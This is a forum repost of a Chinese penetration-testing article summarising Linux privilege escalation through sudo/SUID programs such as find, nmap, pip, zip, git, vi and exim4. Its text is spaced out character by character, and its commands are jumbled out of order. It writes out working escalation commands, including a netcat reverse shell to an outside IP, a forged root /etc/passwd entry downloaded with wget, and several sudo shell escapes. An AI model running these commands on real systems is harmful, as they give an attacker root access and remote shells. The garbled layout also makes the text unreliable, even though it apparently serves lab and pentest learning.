搜索

[16394] 2021-02-03_Linux通过第三方应用提权实战总结

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-03_Linux通过第三方应用提权实战总结 L i n u x 通 过 第 三 方 应 用 提 权 实 战 总 结 原 创   w i n d c c t v   F r e e B u f   2 0 2 1 - 0 2 - 0 3 L i n u x 提 权 ， 前 提 是 拿 到 了 一 个 低 权 限 的 账 号 ， 能 上 传 和 下 载 文 件 ， 主 要 思 路 有 ： 1 、 内 核 提 权 。 网 上 各 种 大 佬 的 p a y l o a d 很 多 ， 关 键 在 于 要 能 找 到 利 用 哪 个 e x p 以 及 具 体 如 何 利 用 。 省 力 点 的 方 法 是 用 s e a r c h s p l o i t 或 者 l i n u x - e x p l o i t - s u g g e s t e r . s h 来 查 找 ， 熟 悉 之 后 难 度 也 不 大 。 2 、 s u i d 提 权 。 这 里 也 包 含 了 s u d o 这 种 方 式 ， 两 种 方 法 的 思 路 都 是 一 样 的 ， 区 别 在 于 s u i d 针 对 单 个 程 序 ， s u d o 针 对 某 个 用 户 。 这 类 提 权 方 式 的 主 要 思 路 是 ： 管 理 员 授 权 普 通 用 户 去 执 行   r o o t   权 限 的 操 作 ， 而 不 需 要 知 道   r o o t   的 密 码 ， 合 理 的 利 用 拥 有 r o o t 权 限 的 程 序 ， 就 可 以 实 现 提 权 。 通 常 遇 到 的 情 况 有 ： （ 1 ） 直 接 提 权 ， s u d o   - i   就 可 以 切 换 到 r o o t 了 ； （ 2 ） 修 改 系 统 文 件 ， 如 计 划 任 务 文 件 、 用 户 文 件 、 密 码 文 件 、 s u d o e r s 文 件 等 ， 本 文 把 这 个 作 为 彩 蛋 后 续 也 讲 一 下 ； （ 3 ） 修 改 程 序 本 身 ， 如 果 对 程 序 有 写 权 限 的 话 ， 直 接 把 反 弹 的 b a s h 命 令 写 到 程 序 里 ， 运 行 程 序 即 可 提 权 ； （ 4 ） 对 程 序 进 行 溢 出 ， 部 分 程 序 通 过 端 口 可 以 实 现 和 用 户 的 交 互 ， 这 也 就 存 在 可 以 溢 出 的 前 提 。 总 的 来 说 ， s u i d 提 权 难 度 没 有 上 限 和 下 限 ， 简 单 的 直 接 一 个 s u d o   - i 命 令 ， 难 的 涉 及 到 溢 出 ， 相 当 于 在 挖 0 d a y 。 3 、 第 三 方 应 用 提 权 ， 某 些 程 序 使 用 r o o t 权 限 启 动 ， 如 果 第 三 方 服 务 或 者 程 序 存 在 漏 洞 或 者 配 置 问 题 ， 可 以 被 利 用 来 获 得 r o o t 权 限 。 相 比 前 几 种 方 式 ， 难 度 属 于 中 间 ， 不 像 内 核 提 权 套 路 很 固 定 ， 也 不 像 s u i d 提 权 方 法 很 灵 活 多 样 。 本 文 总 结 了 常 见 的 一 些 第 三 方 应 用 的 提 权 方 法 ， 所 以 的 方 法 都 经 过 实 际 测 试 ， 拿 出 来 与 大 家 相 互 交 流 和 学 习 。 （ 为 避 免 文 章 篇 幅 过 于 冗 长 ， 每 个 应 用 具 体 的 提 权 原 理 就 不 详 细 介 绍 了 ， 感 兴 趣 的 自 行 查 阅 相 关 文 档 ） f i n d 提 权 提 权 实 例 实 例 1 一 个 典 型 的 例 子 是 将 S U D O 权 限 分 配 给 f i n d 命 令 ， 以 便 其 他 用 户 可 以 在 系 统 中 搜 索 特 定 的 文 件 相 关 文 件 。 尽 管 管 理 员 可 能 不 知 道 ’ f i n d ’ 命 令 包 含 用 于 执 行 命 令 的 参 数 ， 但 攻 击 者 可 以 以 r o o t 特 权 执 行 命 令 。 拿 到 普 通 用 户 权 限 之 后 ， 使 用 s u d o   – l 查 看 下 ，   查 看 当 前 是 否 存 在 当 前 用 户 可 以 调 用 s u d o 的 命 令 ， 如 下 图 ， 当 前 用 户 可 以 执 行 f i n d 命 令 ， 然 后 通 过 f i n d 命 令 获 取 r o o t 权 限 。 n c 正 向 反 弹
n c 反 向 反 弹 实 例 实 例 2 查 找 具 有 特 殊 权 限 S U I D 的 文 件 如 果 f i n d 以 S U I D 权 限 运 行 ， 所 有 通 过 f i n d 执 行 的 命 令 都 会 以 r o o t 权 限 运 行 f i n d   / v a r / w w w / d i r t y   - e x e c   n c   1 9 2 . 1 6 8 . 1 6 7 . 4   8 8 8 8   - t   - e   / b i n / s h   f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l      
通 过 f i n d 命 令 给 w g e t 命 令 提 供 S U I D 权 限 通 过 O p e n S S L   p a s s w d 生 成 一 个 新 的 用 户 h a c k e r ， 密 码 为 h a c k 1 2 3 将 其 追 加 到 k a l i 的 / e t c / p a s s w d 文 件 中 将 追 加 到 p a s s w d 中 在 K a l i 上 启 动 一 个 p y t h o n 服 务 器 p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0 0 0 将 K a l i 上 的 p a s s w d 文 件 下 载 到 靶 机 e t c 目 录 下 并 覆 盖 原 来 的 p a s s w d 文 件 然 后 切 换 到 h a c k e r 用 户 即 可 ， n m a p 提 权 提 权 实 例 实 例 1 n m a p 被 s u i d 分 配 了 r o o t 权 限 ； o p e n s s l   p a s s w d   - 1   - s a l t   h a c k e r   h a c k 1 2 3 $ 1 $ h a c k e r $ 0 v n Q a C N u z D e 3 w 9 d 6 j H f X Q 0 h a c k e r : $ 1 $ h a c k e r $ 0 v n Q a C N u z D e 3 w 9 d 6 j H f X Q 0 : 0 : 0 : / r o o t : / b i n / b a s h w g e t   - O   p a s s w d   h t t p : / / 1 0 . 1 0 . 1 0 . 1 2 8 : 8 0 0 0 / p a s s w d
用 n m a p 来 提 权 ； 实 例 实 例 2 当 单 个 用 户 被 分 配 了 r o o t 权 限 时 ， n m a p 提 权 ； e c h o   “ o s . e x e c u t e ( ‘ / b i n / b a s h ’ ) ”   > >   s h e l l . n c e s u d o   n m a p   — s c r i p t = / t m p / s h e l l . n c e
p i p 提 权 提 权 p i p 命 令 被 分 配 了 r o o t 权 限 p i p 提 权 ； z i p 提 权 提 权 z i p 命 令 被 分 配 了 r o o t 权 限 我 们 可 以 发 现   s a r a n g   用 户 可 以 以   r o o t   用 户 身 份 权 限 来 运 行   z i p   命 令 ， 那 么 我 们 就 可 以 通 过   Z I P   来 进 行 提 权 ： 还 有 一 种 可 以 这 样 玩 ： 先 创 建 一 个   l i u w x   文 件 ， 然 后 在 将 它 压 缩 为 z i p 文 件 ， 最 后 使 用 u n z i p - c o m m a n d 来 执 行 b a s h 命 令 从 而 提 权 ： s u d o   z i p   / t m p / l i u w x . z i p   / h o m e / s a r a n g / l i u w x   - T   — u n z i p - c o m m a n d = ” s h   - c   / b i n / b a s h ”   t m p 为 可 写 目 录 ， 所 以 压 缩 包 放 在 t m p 下 ； g i t 提 权 提 权 g i t 命 令 被 分 配 了 r o o t 权 限 T F = $ ( m k t e m p   - d ) e c h o   " i m p o r t   o s ;   o s . e x e c l ( ' / b i n / s h ' ,   ' s h ' ,   ' - c ' ,   ' s h   < $ ( t t y )   > $ ( t t y )   2 > $ ( t t y ) ' ) "   >   $ T F / s e t u p . p y s u d o   p i p   i n s t a l l   $ T F T F = $ ( m k t e m p   - u ) s u d o   z i p   $ T F   / e t c / h o s t s   - T   - T T   ‘ s h   # ’ t o u c h   l i u w x
利 用 g i t 来 提 权 ； 粘 贴 代 码 到 此 处 ， 然 后 回 车 完 成 提 权 ； 还 可 以 ； 在 末 行 命 令 模 式 输 入   ! / b i n / b a s h   或   ! ’ s h ’   完 成 提 权 s c r e e n 提 权 提 权 S c r e e n 是 一 款 由 G N U 计 划 开 发 的 用 于 命 令 行 终 端 切 换 的 自 由 软 件 。 用 户 可 以 通 过 该 软 件 同 时 连 接 多 个 本 地 或 远 程 的 命 令 行 会 话 ， 并 在 其 间 自 由 切 换 。 G N U   S c r e e n 可 以 看 作 是 窗 口 管 理 器 的 命 令 行 界 面 版 本 。 它 提 供 了 统 一 的 管 理 多 个 会 话 的 界 面 和 相 应 的 功 能 。 在 S c r e e n 环 境 下 ， 所 有 的 会 话 都 独 立 的 运 行 ， 并 拥 有 各 自 的 编 号 、 输 入 、 输 出 和 窗 口 缓 存 。 用 户 可 以 通 过 快 捷 键 在 不 同 的 窗 口 下 切 换 ， 并 可 以 自 由 的 重 定 向 各 个 窗 口 的 输 入 和 输 出 。 s u d o   g i t   h e l p   a d d ! / b i n / b a s h s u d o   g i t   h e l p   c o n f i g
仔 细 阅 读 下 4 1 1 5 4 . s h 脚 本 的 内 容 ， 具 体 操 作 步 骤 为 ： 把 4 1 1 5 4 . s h 的 代 码 分 为 3 个 文 件 ； 将 两 个 c 文 件 在 本 地 编 译 后 ， 上 传 到 靶 机 下 ， 更 改 权 限 后 运 行 ；
e x i m 4 提 权 提 权 E x i m 4 是 在 剑 桥 大 学 开 发 的 另 一 种 消 息 传 输 代 理 （ M T A ） ， 用 于 在 连 接 到 I n t e r n e t 的 U n i x 系 统 上 使 用 。 尽 管 e x i m 的 配 置 与 s e n d m a i l 的 配 置 完 全 不 同 ， 但 是 可 以 安 装 E x i m 代 替 s e n d m a i l 。 s u d o   - l 用 之 前 的 密 码 试 了 不 对 ， 发 现 e x i m 4 ； 查 看 e x i m 4 当 前 版 本 号 或 者   d p k g   - l   |   g r e p   e x i m   查 看 包 安 装 情 况 查 找 漏 洞 ； / u s r / s b i n / e x i m 4   — v e r s i o n
用 法 介 绍 ； 上 传 脚 本 ； 执 行 后 成 功 ；
v i 提 权 提 权 v i 命 令 分 配 了 r o o t 权 限 运 行 s u d o   - l 发 现 该 用 户 可 以 任 意 用 户 执 行 v i ， 按 e s c 后 输 入 : ! / b i n / b a s h 直 接 提 权 至 r o o t 。 s u d o   / u s r / b i n / v i   / t m p / j i n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理